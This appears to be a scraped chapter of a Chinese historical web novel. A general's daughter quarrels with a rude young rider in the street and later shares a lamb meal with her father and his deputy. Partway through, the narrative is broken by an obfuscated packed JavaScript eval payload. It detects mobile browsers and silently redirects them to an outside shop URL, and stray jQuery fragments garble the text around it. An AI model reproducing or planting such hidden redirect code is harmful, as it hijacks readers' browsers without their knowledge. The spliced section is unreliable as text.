萧萧把马车赶得很快,车轮擦着街边一骑马男子而过,好在没酿成祸事。
轻轻掀开帘子,无奈笑道:“街道有禁速的,慢一点。”
萧萧置若罔闻,不服气地反问:“你敢不相信我的驾马技术?”
阮息翻了个白眼:非得超速么?这个水萧萧有时候是真的讨厌,你跟她讲道理,她跟你浑缠。不过不敢惹,她又不是水轻轻,只有水轻轻能说她一两句,连他爹跟水萧萧说话的时候,也只捡好的说。
阮息拉开窗户,正准备吸一口外面的空气,呼出自己的闷气,一男子策马“飞过”,衣衫从她的鼻尖擦过,阮息摸了摸自己的高鼻梁:好险,重生得来的高鼻梁差点被这小子给毁了。
“吁——”勒马声,伴随着一阵马的鸣叫声,自马车前方传来。
轻轻还没有放下帘子,因此大家都看得清楚,一个穿蓝白拼色大袖襕衫的少年男子正骑在马上,侧目看过来,软脚幞头上斜簪一枝红梅,银鞍朱鞯,面色……不善。阮息一眼看去,只觉风骚……哦不,风光无限。
他怒视着萧萧:“你赶着去投胎啊!”
萧萧意识到这是她刚刚差点误伤的那个人,被凶了也不恼,默默地道歉:“不好意思,我方才将马车赶得太快了。”
少年气性比较大:“你那是赶得太快吗?你那叫飞得太低!”
由于自认理亏,萧萧态度良好:“我下次注意。”
少年不动如山。
轻轻好言相劝:“公子,您没有受伤吧。我家小姐现下有些急事,不若您先让一步,赔偿事宜我们日后再谈。”
少年不屑:“哦?你家小姐是……”
轻轻笑盈盈道:“霍忠武王府,候您登门。”
少年翻身下马,直逼近来:“家大势大了不起啊?就可以无视法度吗?你家怎么不往马身上安两个翅膀,直接让它飞呢!”
路人纷纷围观,有瓜子的当场嗑起瓜子来,没瓜子的也捧个嘴场,在旁边“对啊对啊”“是啊是啊”“这个俊俏的小公子好可怜哦”。
阮息想,就算那匹马本来能医活,被这二百五一耽搁,也是没可能了。那家伙每大喊大叫一句话,阮息脑门上的火就往上窜一个高度,眼看着轻轻脸上的笑意都要维持不住了,她做了个村口大妈的决定,大步一跨,长腿一跃,跳下了马车,那少年被吓了一跳,往后退了一步,阮息看了眼他头上的红梅,翻了个白眼把眼神收回来,耐着脾气道:
“你也承认自己没受伤了,萧萧也道过歉了,轻轻也承诺你王府就在那儿跑不了赔偿,你他娘的听不懂人话是不是!”
阮息话音才落,那少年似抓住了她的把柄一般,用马鞭指着阮息:“瞧,大小姐就是嚣张啊,当街就骂娘!你的马车差点就撞到我了,你什么态度?”
阮息看着眼前没礼貌的马鞭,眼睛瞪成了斗鸡眼,好一会儿才忍下没抢过这个鞭子摔在脚下狠踩,继续耐着脾气,咬牙切齿:“你也说了,马车根本没撞到你……”
少年打断她,义正言辞:“你是否做错,并不取决于马车是否撞到我,马车虽然没对我的□□造成伤害,但是对我的精神造成了创伤。”
二百五的二逼发言如一盆冰水浇灭了阮息的怒火,同时也差点让她被冰出心梗,她额了一声:“照这个说法,你不仅可以向地面上跑的马索赔,你还可以向天上飞的鸟索赔,毕竟它虽然没有撞到你,但它吓到你了。”
少年挠挠头:“额……”
阮息的语气冷漠而快速:“给我滚。再找茬,就请你上马车来,咱们好好聊一聊你的精神到底有多病。”
“……不是,你才精神有病。”
阮息转身:“萧萧,把这位公子请上来做客。”
萧萧一甩马鞭,翻腿下马车时,旋裙酷飒地甩开,阮息看了好几眼。
“别别别,大小姐有事尽管去办,在下先告退了。”
说罢,少年骑上马,扬长而去。因为跑得太快,幞头上的梅花掉了下来。萧萧将它捡起来,递给轻轻:“好漂亮的红梅。”说罢,萧萧忍不住笑出声:“哪来的傻子,白耽误时间了。”
轻轻接过梅花,放在鼻下轻嗅:“白耽误的是咱们的时间,于他而言,怕是任务完成,功成身退了。”
萧萧的笑容僵住,我想,那匹马的尸首大概是凉了。
待到三人准备就绪,要再度出发时,一阵策马声传来,只见霍靖扬鞭而来,勒马在马车跟前。
霍靖疑惑:“不是说徐太极在等我回去接圣旨吗?你们怎么出来了。”
萧萧:“都都知已走,留言改日再登门宣旨。”
霍靖蹙眉,阮息急忙问:“那匹马可救回来了?是什么病症?”
霍靖哦了一声,没当回事:“说是昨夜受了冷风,犯了急症,是意外。”
“小姐还是不要给王爷添麻烦的好,凡与王爷近身者,便是死了只苍蝇,也不可小觑……”
萧萧说过的话回荡在阮息的脑海里,她闭了闭眼,忽然意识到,胆小懦弱之辈,她的烦恼便远远不止胆小懦弱这一件事。
霍靖摸了摸阮息的脑袋:“是爹不好,这么点儿事都办不成,让我们长留白白早起,下回爹再给你选个好的,真真正正地教你骑马!”
可他不知道也不能知道,阮息兴致不高,甚至心里难过得快要哭出来,根本就不是因为骑马的经历不够开心,而是因为……因为有人要害她的爹,而她明明知道,却不愿意说出来。
“长留,别生爹的气了,爹回去下厨给你做好吃的,给你赔罪!”阮息欠出身去,抱住了霍靖,老头子的心跳特别有力,身子梆硬,自诩在姑娘堆里算是人高马大的霍长留,落进他怀里,也成了个小鸡崽子。
霍靖拍拍她的肩膀,笑道:“我姑娘真大方,这就原谅老爹啦!”
他笑得胸膛乱颤,阮息也跟着他抖来抖去。
饭点之前,阮息已经带着咕噜作响的空肚子在饭桌前等着了,可是在厨房忙活的是霍靖,饭点就推迟了。
阮息跟萧萧要点吃的先垫一垫肚子,萧萧找了一圈,给她端来了一盘西瓜子,她无奈地看了一眼萧萧,萧萧:“……上回买的都吃完了,只剩这个是小姐不大爱吃的,还剩着……下午再出去买些点心零嘴?”
阮息点头如捣蒜。
阮息坐在冷板凳上,跟西瓜子较劲半个时辰,霍靖才把午膳端上来:“长留,吃饭喽!”
阮息心想:我倒要看看,折腾这么久,都做出了什么饕餮盛宴。结果就看到老头子笑呵呵地端上来一盘“馕”。
“怎么样,今天让你大饱口福!”
阮息礼貌微笑:“大跌眼镜,谢谢。”
“欸,长留,你咋这样,后面还有呢!”
阮息不怎么期待,因为没闻到香味,当然也不敢期待了。
霍靖又跑出去忙活了半天,阮息挪了挪屁股,心里抱怨:妈呀,等一顿饭等到屁股烂。
抓起“馕”咬了一口,断定:这不是馕,比馕小,比馕硬,没馕香,阮息用牙撕扯,表情狰狞,口水差点流出来,才扯出一块,放在嘴里嚼吧嚼吧,喉头一梗,伸长脖子咽下去,她把那东西往盘子里一丢:算了,我只是嗑瓜子吧。
她拉一拉萧萧的衣袖,道:“回头在家里养只狗吧,狗吃东西就喜欢撕扯,这玩意儿给它磨牙它准喜欢。”
萧萧想了想,道:“小姐,狗不是爱吃荤吗?”
阮息为难地看了她一眼,那点反抗之心偃旗息鼓了,她看出了萧萧的微表情含义,有点责怪自己不尊重霍靖了,阮息可以理解的,萧萧大概是霍靖的铁杆粉丝级别,当然,这汴京城,霍靖的铁杆粉丝就跟雪花一样多。
阮息不会嗑西瓜子,都是把瓜子丢进嘴里,用板牙咬开,再吐回手心里,挑着瓜子仁扔进嘴里吃,这会儿腮帮子都磨疼了,想吃点别的压一压,看一眼桌上的磨牙饼,又是一阵闹心。
终于,霍靖神秘地出现了:“姑娘们,等久了吧,快来吧,把胡饼拿上,咱们吃饭去了!”轻轻和萧萧拉着阮息小跑着跟上,一直跑到后院,最朴素的后院,一片没有草枯了的空旷之地,雪已经被清扫的差不多,水池子里只有浅浅的一层水,如今已经都结成冰了。
空地上支着烧烤架子,正考着一只羊,旁边还支着一口铁锅,锅里炖着羊肉汤。
阮息一踏进院子便皱起了眉,世间繁多肉,她一吃不得狗肉,二闻不得羊膻,她捂着嘴,心里有些责怪霍靖:你竟然不知道你女儿我不吃羊肉!
霍靖拽着阮息的手,跟她说:“我在北地的时候,就吃这些东西,都是原滋原味搬过来的,你想不想尝尝?”
阮息眉头一松,好奇地歪了歪头:“你打仗时候吃的?”
霍靖嘿嘿一笑:“我就知道你小子最好这些故事,等爹这次回去的时候,就把你带着好不好?看我给大楚培养个大将军出来!”
阮息心神一荡,心里说不出的酸与爽。
霍靖粗糙的大手摩挲着她的手背,另一只手遥遥地指向北方,两眼放光。
“爹,你上次还说要将我嫁人。”
霍靖挠了挠头:“嫁人也是为你好,但是带你走是为我们俩好,军营里最不缺的就是能吃肯干的小伙子,你就在我眼跟前成家,爹放心……怕的是,随军生活苦寒,爹不想你受这个苦,只怕你到时受不住,我又得将你送回来,我归期不定,能将你托付给谁呢?谁替你谋个好亲事呢?你成家的时候,我能回来观礼吗?”
他越说越难过,越说越低落。
阮息知道霍靖的担忧都不是空穴来风,她没有急着做出任何保证,她虽然一直也没过上好日子,但受饿挨冻的皮肉苦也没吃过,不知道自己挨不挨得住北境战场的苦。她只是笑着转移话题,指着不远处的男人,好奇地问:“那个人是谁啊?是你的战友吗?”
霍靖放下暂时的顾虑,捧场地介绍道:“对啊,那是爹最信任的副将,他叫陈墨,你叫他陈叔。”
陈墨和霍靖一样,穿着布衣,身上没有任何多余的装饰。他正用勺子搅着羊汤,闻言抬头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297575|198609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着他们走过来,饱经风霜的脸上,挂着敦厚的笑。
走近了,他便客气地问好:“将军,大小姐。”
“陈叔叔好!”阮息指着身后的两个侍女,“这两位是我的小姐妹,姐姐叫萧萧,妹妹叫轻轻。”
陈墨看着姐妹二人,眼睛眯起来,似在端详,忽而又笑开道:“花开并蒂两相宜,一静一动皆风姿。大小姐好福气,连侍女都如此绝色。”
这话阮息听着不大舒适,那是一个不大礼貌的中年男人在看两个花一般年纪的女人,不是长辈在看晚辈。阮息来此接触的男人不多,陈墨的出现提醒了他,不是所有男人都是他爹,看她和轻轻萧萧如同在看孩子,下次见着陌生男人何必热情,白白让自己受了轻视,还得当做夸奖,好言好色地虚心收下。
阮息起初是不愿意喝羊汤的,霍靖硬要她试一试,阮息吃进嘴里又龇牙咧嘴地吐出来,把霍靖逗得哈哈大笑。
阮息气得掏了他一拳:“爹你咋这样,为了等你一餐饭,我饿得西瓜子都吃了一盘,你就给我弄这些吃不下肚的!”
“哈哈哈哈哈!”霍靖瞧着她,笑出了眼泪,半晌说不出话。
陈墨叔又笑得敦厚:“将军第一回领兵作战的时候才十五岁,第一回吃羊肉喝羊汤的时候,也是这幅样子,一晃竟然过去这么多年了,还以为昨日近在眼前呢,回头一看,连大小姐都长成将军少年时的模样了。”
东西是吃不下嘴的,故事却听得津津有味,阮息又吐出一口羊肉,连带着好几口沾着羊膻味的吐沫,表情耐人寻味,眼睛却放光:“我爹少年时是个怎样的人?”
霍靖忽而止住了笑,阮息看到他的眼睛里的水,怀疑他是不是趁着笑的时候偷偷哭过。
“惯会耍花枪,以为自己武艺冠绝天下的自大家伙,第一回上战场,饭吃不下,觉睡不好,还被敌军用长枪调戏,挑着我的衣领将我挂在枪上,向我军展示,是你陈叔救了我。”
阮息捂住嘴:“啊……这么尴尬,不是,我是说,这么危险。”
霍靖冲阮息挑了下眉,一巴子打在她的脑门上:“敢嘲笑你爹!”
阮息愣了一下,捂住头:“哈哈哈哈哈哈!”
羊肉烤好了,阮息倒也能捡一点不膻的吃一吃,就着霍靖和陈墨并肩作战的故事,吃得还蛮香。从陈墨站在身后守护年少成名的鲁莽少年霍靖,再到霍靖坚定地将逐渐年迈的陈墨护在身后,从夜半哭湿被子时的生涩公子到使敌人闻风丧胆霍忠武王,阮息想,这一路走得必然苦,也必然精彩。
酒酣,陈墨笑问:“大小姐的侍女可会弹唱么?”
心情正好的阮息笑容僵在了脸上,她冷然道:“不……”
“会的。”轻轻柔和的声音传来,生生截断了她的未尽之言。
“陈将军稍等,奴婢这就去取琴与剑来。”
阮息抓住她:“吃个便饭,别那么麻烦。”
轻轻拂去阮息的手,小声道:“小姐,我和萧萧无碍的。”
目送着轻轻走了,阮息一个好脸色也没了,也不敢看萧萧一眼。
霍靖呼噜呼噜阮息的脑袋:“怎么啦,还不准你陈叔叔使唤你的丫头啦?”
“哦,没有。”阮息说着,听故事吃羊肉的兴致顿时被消磨了,“我不吃了,难吃得要死!”
她把吃了一半的羊肉一扔,想了想又捡起来,一小块一小块地撕碎了。
轻轻的琴声美妙,萧萧的舞姿飒爽,陈墨站起身,笑呵呵地赞美:“一颦一笑温如玉,一剑一风飒若仙。大小姐这两个婢女,真是婀娜啊!”阮息继续撕着她的羊肉,霍靖不明所以地看着她。
原本和美的场景硬生生被劈成了两半,一半自顾自地乐,一半生着闷气拿羊肉撒气。阮息把撕碎的羊肉放进小瓷盘,端着小瓷盘走了,霍靖就让她们别唱了。
“你们小姐有想法,以后她不想你们做的事,你们就不要做了。”
轻轻抱着琴,萧萧提着剑,站在霍靖身前,恭敬地应下。
霍靖又转向陈墨:“我姑娘没把这两个丫头当婢子。你还别说,我就没听轻轻自称过奴婢,方才还是头一次,我这听了也不舒坦。”
陈墨笑了一会,却认错道:“将军,是我鲁莽了。”
霍靖开玩笑的表情愣在脸上,抓住陈墨作揖的手,惊道:“你这么认真做什么,小孩子胡闹罢了。”
陈墨嗯了一声,脸上又挂上敦厚的笑。
阮息把小瓷盘端进屋,唤了唤小狸奴,黄狸花伸着懒腰,摇头摆尾地走过来,吃起盘子里的碎羊肉,细嚼慢咽。
“小姐,小姐!”
萧萧的叫唤声忽然传来,黄狸猫被吓了一跳,反应过来是熟悉的声音之后,又低头吃起来。
“前厅来了位客人,好像是今日那个戴梅花的公子,怕是敲竹杠来了。”
阮息头顶火苗一闪,眼睛一眯,摸黄狸猫脑袋的手指收了回来:“喵的,真敢来啊,先别同他讲话,请棍奴进去,然后把前厅的门窗关起来……我吓不死他!”